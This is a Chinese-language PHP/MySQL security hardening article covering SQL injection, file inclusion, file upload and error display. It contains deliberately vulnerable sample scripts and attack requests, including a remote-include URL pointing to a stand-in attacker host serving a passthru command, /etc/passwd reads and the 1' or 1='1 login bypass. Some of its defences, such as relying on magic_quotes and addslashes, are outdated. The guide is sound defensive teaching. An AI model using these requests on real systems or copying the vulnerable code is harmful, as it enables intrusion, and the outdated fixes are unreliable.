摘要：php＋mysql注入的防范方法。
-對于像where id= ‘$id‘這樣的語(yǔ)句，如果字段id是整數，就一定要$id = intval($id);
-username = $username 這樣是錯誤的，一定要加‘,正確寫(xiě)法：username＝‘$username‘
-用PHP的md5加密函數，不用MYSQL的MD5函數
-如果是字符型的呢？
我們可以先用addslashes()過(guò)濾一下，然后再過(guò)濾”%”和”_”.
例如：
$search = addslashes($search);
$search = str_replace("_","\_",$search);
$search = str_replace("%","\%",$search);
記得，可千萬(wàn)別在magic_quotes_gpc＝On的情況下替換\為\\,如下：
$password=str_replace("\\","\\\\",$password);
-登陸的地方，如果是只用一個(gè)管理員管理的話(huà)，我們可以直接對username和passwd用md5加密，這樣就不用害怕注入技術(shù)的發(fā)展了。
Username=md5($HTTP_POST_VARS["username"]);
Passwd=md5($HTTP_POST_VARS["passwd"]);
- 包含文件
極易受攻擊的代碼片斷：
<?
//test_3.php
if(file_exists($filename))
include("$filename");
?>
這種不負責任的代碼會(huì )造成相當大的危害，攻擊者用如下請求可以得到/etc/passwd文件：
http://victim/test_3.php?filename=/etc/passwd
如果對于Unix版的PHP（Win版的PHP不支持遠程打開(kāi)文件）攻擊者可以在自己開(kāi)了http或ftp服務(wù)的機器上建立一個(gè)包含shell命令的文件，如http://attack/attack.txt的內容是<?passthru("ls /etc")?>，那么如下的請求就可以在目標主機執行命令ls /etc：
http://victim/test_3.php?filename=http://attack/attack.txt
攻擊者甚至可以通過(guò)包含apache的日志文件access.log和error.log來(lái)得到執行命令的代碼，不過(guò)由于干擾信息太多，有時(shí)不易成功。
對于另外一種形式，如下代碼片斷：
<?
//test_4.php
include("$lib/config.php");
?>
攻擊者可以在自己的主機建立一個(gè)包含執行命令代碼的config.php文件，然后用如下請求也可以在目標主機執行命令：
http://victim/test_4.php?lib=http://attack
PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變量檢查不嚴就會(huì )對系統造成嚴重危險，可以遠程執行命令。
解決方法：
要求程序員包含文件里的參數盡量不要使用變量，如果使用變量，就一定要嚴格檢查要包含的文件名，絕對不能由用戶(hù)任意指定。
如前面文件打開(kāi)中限制PHP操作路徑是一個(gè)必要的選項。另外，如非特殊需要，一定要關(guān)閉PHP的遠程文件打開(kāi)功能。修改php.ini文件：
allow_url_fopen = Off
重啟apache。
- 文件上傳
php的文件上傳機制是把用戶(hù)上傳的文件保存在php.ini的upload_tmp_dir定義的臨時(shí)目錄（默認是系統的臨時(shí)目錄，如：/tmp）里的一個(gè)類(lèi)似phpxXuoXG的隨機臨時(shí)文件，程序執行結束，該臨時(shí)文件也被刪除。PHP給上傳的文件定義了四個(gè)變量：（如form變量名是file，而且register_globals打開(kāi)）
$file #就是保存到服務(wù)器端的臨時(shí)文件（如/tmp/phpxXuoXG ）
$file_size #上傳文件的大小
$file_name #上傳文件的原始名稱(chēng)
$file_type #上傳文件的類(lèi)型
推薦使用：
$HTTP_POST_FILES[‘file‘][‘tmp_name‘]
$HTTP_POST_FILES[‘file‘][‘size‘]
$HTTP_POST_FILES[‘file‘][‘name‘]
$HTTP_POST_FILES[‘file‘][‘type‘]
這是一個(gè)最簡(jiǎn)單的文件上傳代碼：
<?
//test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上傳成功！點(diǎn)擊<a href=\"$PHP_SELF\">繼續上傳</a>";
exit;
}
?>
<html>
<head>
<title>文件上傳</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上傳文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上傳">
</form>
</body>
</html>
這樣的上傳代碼存在讀取任意文件和執行命令的重大問(wèn)題。
下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test（注意：這個(gè)目錄必須nobody可寫(xiě)）下的attack.txt文件里：
http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt
然后可以用如下請求讀取口令文件：
http://victim/test/attack.txt
攻擊者可以把php文件拷貝成其它擴展名，泄漏腳本源代碼。
攻擊者可以自定義form里file_name變量的值，上傳覆蓋任意有寫(xiě)權限的文件。
攻擊者還可以上傳PHP腳本執行主機的命令。
解決方法：
PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函數，可以檢查操作的文件是否是用戶(hù)上傳的文件，從而避免把系統文件拷貝到web目錄。
使用$HTTP_POST_FILES數組來(lái)讀取用戶(hù)上傳的文件變量。
嚴格檢查上傳變量。比如不允許是php腳本文件。
把PHP腳本操作限制在web目錄可以避免程序員使用copy函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制，所以不必修改php.ini里upload_tmp_dir的值。
把PHP腳本用phpencode進(jìn)行加密，避免由于copy操作泄漏源碼。
嚴格配置文件和目錄的權限，只允許上傳的目錄能夠讓nobody用戶(hù)可寫(xiě)。
對于上傳目錄去掉PHP解釋功能，可以通過(guò)修改httpd.conf實(shí)現：
<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3換成php3_engine off
</Directory>
重啟apache，upload目錄的php文件就不能被apache解釋了，即使上傳了php文件也沒(méi)有問(wèn)題，只能直接顯示源碼。
- sql_inject
如下的SQL語(yǔ)句如果未對變量進(jìn)行處理就會(huì )存在問(wèn)題：
select * from login where user=‘$user‘ and pass=‘$pass‘
攻擊者可以用戶(hù)名和口令都輸入1‘ or 1=‘1繞過(guò)驗證。
不過(guò)幸虧PHP有一個(gè)默認的選項magic_quotes_gpc = On，該選項使得從GET, POST, COOKIE來(lái)的變量自動(dòng)加了addslashes()操作。上面SQL語(yǔ)句變成了：
select * from login where user=‘1\‘ or 1=\‘1‘ and pass=‘1\‘ or 1=\‘1‘
從而避免了此類(lèi)sql_inject攻擊。
對于數字類(lèi)型的字段，很多程序員會(huì )這樣寫(xiě)：
select * from test where id=$id
由于變量沒(méi)有用單引號擴起來(lái)，就會(huì )造成sql_inject攻擊。幸虧M(mǎn)ySQL功能簡(jiǎn)單，沒(méi)有sqlserver等數據庫有執行命令的SQL語(yǔ)句，而且PHP的mysql_query()函數也只允許執行一條SQL語(yǔ)句，所以用分號隔開(kāi)多條SQL語(yǔ)句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢(xún)語(yǔ)句出錯，泄漏系統的一些信息，或者一些意想不到的情況。
解決方法：
要求程序員對所有用戶(hù)提交的要放到SQL語(yǔ)句的變量進(jìn)行過(guò)濾。
即使是數字類(lèi)型的字段，變量也要用單引號擴起來(lái)，MySQL自己會(huì )把字串處理成數字。
在MySQL里不要給PHP程序高級別權限的用戶(hù)，只允許對自己的庫進(jìn)行操作，這也避免了程序出現問(wèn)題被 SELECT INTO OUTFILE ... 這種攻擊。
- 警告及錯誤信息
PHP默認顯示所有的警告及錯誤信息：
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平時(shí)開(kāi)發(fā)調試時(shí)這非常有用，可以根據警告信息馬上找到程序錯誤所在。
正式應用時(shí)，警告及錯誤信息讓用戶(hù)不知所措，而且給攻擊者泄漏了腳本所在的物理路徑，為攻擊者的進(jìn)一步攻擊提供了有利的信息。而且由于自己沒(méi)有訪(fǎng)問(wèn)到錯誤的地方，反而不能及時(shí)修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個(gè)日志文件是非常明智的，即不給攻擊者泄漏物理路徑，又能讓自己知道程序錯誤所在。
修改php.ini中關(guān)于Error handling and logging部分內容：
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然后重啟apache，注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶(hù)可寫(xiě)。
本站僅提供存儲服務(wù)，所有內容均由用戶(hù)發(fā)布，如發(fā)現有害或侵權內容，請
點(diǎn)擊舉報。
